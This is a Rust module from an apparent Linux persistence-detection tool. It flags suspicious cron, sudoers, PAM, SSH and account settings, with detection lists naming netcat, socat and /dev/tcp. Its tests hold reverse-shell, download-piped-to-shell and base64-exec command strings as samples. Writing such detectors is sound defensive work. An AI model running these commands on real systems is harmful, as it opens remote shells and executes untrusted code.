1use std::fmt;
7
8use crate::{Detail, Entry, Kind, PamRule, PasswordState};
9
10const TEMPORARY_DIRECTORIES: [&str; 3] = ["/tmp", "/var/tmp", "/dev/shm"];
12const DOWNLOADERS: [&str; 2] = ["curl", "wget"];
13const SHELLS: [&str; 9] = [
14 "sh", "bash", "dash", "zsh", "ksh", "ash", "mksh", "csh", "tcsh",
15];
16const NETWORK_RELAYS: [&str; 6] = [
18 "nc",
19 "nc.traditional",
20 "nc.openbsd",
21 "ncat",
22 "netcat",
23 "socat",
24];
25const BASH_NETWORK_PATHS: [&str; 2] = ["/dev/tcp/", "/dev/udp/"];
27const WORD_BREAKS: [char; 13] = [
29 '|', '&', ';', '(', ')', '<', '>', '\'', '"', '`', '$', '{', '}',
30];
31const DECODING_FUNCTIONS: [&str; 4] = [
33 "b64decode",
34 "base64_decode",
35 "frombase64string",
36 "decode_base64",
37];
38
39const DEFAULT_KEY_FILES: [&str; 4] = [
41 ".ssh/authorized_keys",
42 ".ssh/authorized_keys2",
43 "%h/.ssh/authorized_keys",
44 "%h/.ssh/authorized_keys2",
45];
46
47#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
49pub enum Flag {
50 TemporaryDirectory,
54 DownloadToShell,
57 Base64Decoding,
60 ReverseShell,
63 AtReboot,
65 ForcedCommand,
68 Preload,
71 SudoWithoutPassword,
74 PamExec,
77 PamAcceptsAnyPassword,
79 PamModuleElsewhere,
82 RootPasswordLogin,
84 EmptyPasswords,
87 KeysElsewhere,
91 ModprobeCommand,
95 UidZero,
98 NoPasswordNeeded,
101 SystemAccountShell,
105}
106
107impl Flag {
108 #[must_use]
110 pub const fn label(self) -> &'static str {
111 match self {
112 Self::TemporaryDirectory => "runs from a temporary directory",
113 Self::DownloadToShell => "download piped to a shell",
114 Self::Base64Decoding => "base64 decoding",
115 Self::ReverseShell => "network shell tool",
116 Self::AtReboot => "runs at every boot",
117 Self::ForcedCommand => "key with a forced command",
118 Self::Preload => "library preloaded into every program",
119 Self::SudoWithoutPassword => "sudo without a password",
120 Self::PamExec => "PAM runs a program",
121 Self::PamAcceptsAnyPassword => "PAM accepts any password",
122 Self::PamModuleElsewhere => "PAM module outside the module directories",
123 Self::RootPasswordLogin => "root may log in over SSH with a password",
124 Self::EmptyPasswords => "SSH logins without a password",
125 Self::KeysElsewhere => "SSH keys read from elsewhere",
126 Self::ModprobeCommand => "modprobe runs a command",
127 Self::UidZero => "id 0 besides root",
128 Self::NoPasswordNeeded => "no password needed",
129 Self::SystemAccountShell => "system account with a login shell",
130 }
131 }
132}
133
134impl fmt::Display for Flag {
135 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
136 f.write_str(self.label())
137 }
138}
139
140#[must_use]
142pub fn flags(entry: &Entry) -> Vec<Flag> {
143 let command = entry.command.as_deref().unwrap_or_default();
144 let words: Vec<&str> = words(command).collect();
145 [
146 (Flag::TemporaryDirectory, in_temporary_directory(command)),
147 (Flag::DownloadToShell, downloads_to_shell(command)),
148 (Flag::Base64Decoding, decodes_base64(command, &words)),
149 (Flag::ReverseShell, uses_network_relay(command, &words)),
150 (Flag::AtReboot, runs_at_reboot(entry)),
151 (
152 Flag::ForcedCommand,
153 entry.kind == Kind::AuthorizedKeys && entry.command.is_some(),
154 ),
155 (Flag::Preload, entry.detail == Detail::PreloadLibrary),
156 (
157 Flag::SudoWithoutPassword,
158 sudo_without_password(&entry.detail),
159 ),
160 (
161 Flag::PamExec,
162 pam_rule(entry).is_some_and(|r| r.module_name() == "pam_exec.so"),
163 ),
164 (
165 Flag::PamAcceptsAnyPassword,
166 pam_rule(entry).is_some_and(accepts_any_password),
167 ),
168 (
169 Flag::PamModuleElsewhere,
170 pam_rule(entry).is_some_and(|r| module_elsewhere(&r.module)),
171 ),
172 (
173 Flag::RootPasswordLogin,
174 sshd_setting(entry, "PermitRootLogin").is_some_and(|v| v.eq_ignore_ascii_case("yes")),
175 ),
176 (
177 Flag::EmptyPasswords,
178 sshd_setting(entry, "PermitEmptyPasswords")
179 .is_some_and(|v| v.eq_ignore_ascii_case("yes")),
180 ),
181 (Flag::KeysElsewhere, keys_elsewhere(entry)),
182 (Flag::ModprobeCommand, modprobe_command(entry)),
183 (Flag::UidZero, uid_zero(entry)),
184 (Flag::NoPasswordNeeded, no_password_needed(&entry.detail)),
185 (
186 Flag::SystemAccountShell,
187 system_account_shell(&entry.detail),
188 ),
189 ]
190 .into_iter()
191 .filter_map(|(flag, found)| found.then_some(flag))
192 .collect()
193}
194
195fn words(command: &str) -> impl Iterator<Item = &str> {
197 command
198 .split(|c: char| c.is_whitespace() || WORD_BREAKS.contains(&c))
199 .filter(|word| !word.is_empty())
200}
201
202fn program(word: &str) -> &str {
204 word.rsplit('/').next().unwrap_or(word)
205}
206
207fn in_temporary_directory(command: &str) -> bool {
208 TEMPORARY_DIRECTORIES.iter().any(|directory| {
209 command.match_indices(directory).any(|(at, _)| {
210 let before = command[..at].chars().next_back();
211 let after = command[at + directory.len()..].chars().next();
212 !before.is_some_and(is_path_character)
213 && !after.is_some_and(|c| c != '/' && is_path_character(c))
214 })
215 })
216}
217
218fn is_path_character(c: char) -> bool {
219 c.is_alphanumeric() || "._-/~".contains(c)
220}
221
222fn downloads_to_shell(command: &str) -> bool {
225 let is_downloader = |word: &str| DOWNLOADERS.contains(&program(word));
226 let is_shell = |word: &str| SHELLS.contains(&program(word));
227 let stages: Vec<&str> = command.split('|').collect();
228 let piped = stages
229 .iter()
230 .position(|stage| words(stage).any(is_downloader))
231 .is_some_and(|at| {
232 stages[at + 1..].iter().any(|stage| {
233 words(stage)
234 .find(|w| !matches!(*w, "sudo" | "env"))
235 .is_some_and(is_shell)
236 })
237 });
238 let substituted = ["$(", "`", "<("].iter().any(|opening| {
239 command
240 .split(opening)
241 .skip(1)
242 .any(|inside| words(inside).next().is_some_and(is_downloader))
243 }) && words(command).any(is_shell);
244 piped || substituted
245}
246
247fn decodes_base64(command: &str, words: &[&str]) -> bool {
248 let is_decode_switch = |w: &&str| {
249 *w == "--decode" || (w.starts_with('-') && !w.starts_with("--") && w.contains(['d', 'D']))
250 };
251 let base64_tool = words
252 .iter()
253 .position(|w| program(w) == "base64")
254 .is_some_and(|at| words[at + 1..].iter().take(3).any(is_decode_switch));
255 let openssl = words.iter().any(|w| program(w) == "openssl")
256 && words
257 .iter()
258 .any(|w| matches!(*w, "base64" | "-base64" | "-a"))
259 && words.contains(&"-d");
260 let lower = command.to_ascii_lowercase();
261 base64_tool || openssl || DECODING_FUNCTIONS.iter().any(|f| lower.contains(f))
262}
263
264fn uses_network_relay(command: &str, words: &[&str]) -> bool {
265 BASH_NETWORK_PATHS.iter().any(|path| command.contains(path))
266 || words
267 .iter()
268 .any(|word| NETWORK_RELAYS.contains(&program(word)))
269}
270
271fn runs_at_reboot(entry: &Entry) -> bool {
272 matches!(entry.kind, Kind::Crontab | Kind::SystemCrontab)
273 && entry.schedule.as_deref() == Some("@reboot")
274}
275
276fn sudo_without_password(detail: &Detail) -> bool {
277 match detail {
278 Detail::SudoRule(rule) => {
279 rule.tags.iter().any(|t| t == "NOPASSWD") && rule.commands.iter().any(|c| c == "ALL")
280 }
281 Detail::SudoDefaults { settings, .. } => settings
282 .split(',')
283 .any(|setting| setting.trim() == "!authenticate"),
284 _ => false,
285 }
286}
287
288fn pam_rule(entry: &Entry) -> Option<&PamRule> {
289 match &entry.detail {
290 Detail::PamRule(rule) => Some(rule),
291 _ => None,
292 }
293}
294
295fn accepts_any_password(rule: &PamRule) -> bool {
296 rule.kind() == "auth" && rule.control == "sufficient" && rule.module_name() == "pam_permit.so"
297}
298
299fn module_elsewhere(module: &str) -> bool {
302 let Some((directory, _)) = module.rsplit_once('/') else {
303 return false;
304 };
305 let in_library = ["/lib", "/usr/lib"]
306 .iter()
307 .any(|root| directory.starts_with(root));
308 !(in_library && directory.ends_with("/security"))
309}
310
311fn sshd_setting<'e>(entry: &'e Entry, key: &str) -> Option<&'e str> {
313 match &entry.detail {
314 Detail::SshdSetting {
315 key: written,
316 value,
317 ..
318 } if written.eq_ignore_ascii_case(key) => Some(value),
319 _ => None,
320 }
321}
322
323fn keys_elsewhere(entry: &Entry) -> bool {
324 let files = sshd_setting(entry, "AuthorizedKeysFile").is_some_and(|v| {
325 v.split_whitespace()
326 .any(|f| !DEFAULT_KEY_FILES.contains(&f))
327 });
328 let command = sshd_setting(entry, "AuthorizedKeysCommand")
329 .is_some_and(|v| !v.eq_ignore_ascii_case("none"));
330 files || command
331}
332
333fn modprobe_command(entry: &Entry) -> bool {
334 let blocks = |command: &str| {
335 matches!(
336 command.trim(),
337 "/bin/true" | "/bin/false" | "/usr/bin/true" | "/usr/bin/false" | "true" | "false"
338 )
339 };
340 entry.kind == Kind::Modprobe && entry.command.as_deref().is_some_and(|c| !blocks(c))
341}
342
343fn uid_zero(entry: &Entry) -> bool {
344 matches!(&entry.detail, Detail::Account(account) if account.uid == Some(0))
345 && entry.user.as_deref() != Some("root")
346}
347
348fn no_password_needed(detail: &Detail) -> bool {
349 match detail {
350 Detail::Account(account) => account.empty_password,
351 Detail::Password(password) => password.state == PasswordState::Empty,
352 _ => false,
353 }
354}
355
356fn system_account_shell(detail: &Detail) -> bool {
357 matches!(detail, Detail::Account(account)
358 if account.uid.is_some_and(|uid| (1..1000).contains(&uid)) && account.can_log_in())
359}
360
361#[cfg(test)]
362mod tests {
363 use super::*;
364
365 fn flags_of(command: &str) -> Vec<Flag> {
366 let mut entry = Entry::new(Kind::ShellInit, 1, Detail::ShellCommand);
367 entry.command = Some(command.to_owned());
368 flags(&entry)
369 }
370
371 #[test]
372 fn temporary_directories() {
373 for command in [
374 "/tmp/.x/run",
375 "cd /tmp && ./a",
376 "sh '/dev/shm/k'",
377 "x=/var/tmp/y; $x",
378 ] {
379 assert_eq!(flags_of(command), [Flag::TemporaryDirectory], "{command}");
380 }
381 for command in [
382 "/home/a/tmp/x",
383 "/tmpfiles/x",
384 "rm -rf ~/tmp",
385 "/usr/bin/tmpwatch",
386 ] {
387 assert!(flags_of(command).is_empty(), "{command}");
388 }
389 }
390
391 #[test]
392 fn downloads_to_a_shell() {
393 for command in [
394 "curl -fsSL http://203.0.113.9/i.sh | bash",
395 "wget -qO- http://198.51.100.2/x|sudo sh -s",
396 "bash -c \"$(curl -s https://example.com/s)\"",
397 "sh -c `wget -O - http://192.0.2.1/a`",
398 "bash <(curl -s https://example.net/b)",
399 ] {
400 assert!(
401 flags_of(command).contains(&Flag::DownloadToShell),
402 "{command}"
403 );
404 }
405 for command in [
406 "curl -o /opt/x.tar.gz https://example.com/x.tar.gz",
407 "curl https://example.com | grep ok",
408 "echo $(date) | sh",
409 ] {
410 assert!(
411 !flags_of(command).contains(&Flag::DownloadToShell),
412 "{command}"
413 );
414 }
415 }
416
417 #[test]
418 fn base64_and_network_tools() {
419 for command in [
420 "echo aWQK | base64 -d | sh",
421 "base64 --decode < f",
422 "openssl base64 -d -in x",
423 "python3 -c 'import base64;exec(base64.b64decode(\"aWQ=\"))'",
424 ] {
425 assert!(
426 flags_of(command).contains(&Flag::Base64Decoding),
427 "{command}"
428 );
429 }
430 for command in ["base64 -w0 file", "base64 f | tee a b | grep -d skip x"] {
431 assert!(
432 !flags_of(command).contains(&Flag::Base64Decoding),
433 "{command}"
434 );
435 }
436 for command in [
437 "bash -i >& /dev/tcp/192.0.2.10/4444 0>&1",
438 "nc -e /bin/sh 198.51.100.7 9001",
439 "/usr/bin/nc.traditional 192.0.2.3 80",
440 "socat exec:'bash -li',pty tcp:203.0.113.5:443",
441 ] {
442 assert!(flags_of(command).contains(&Flag::ReverseShell), "{command}");
443 }
444 assert!(!flags_of("ncdu /").contains(&Flag::ReverseShell));
445 }
446}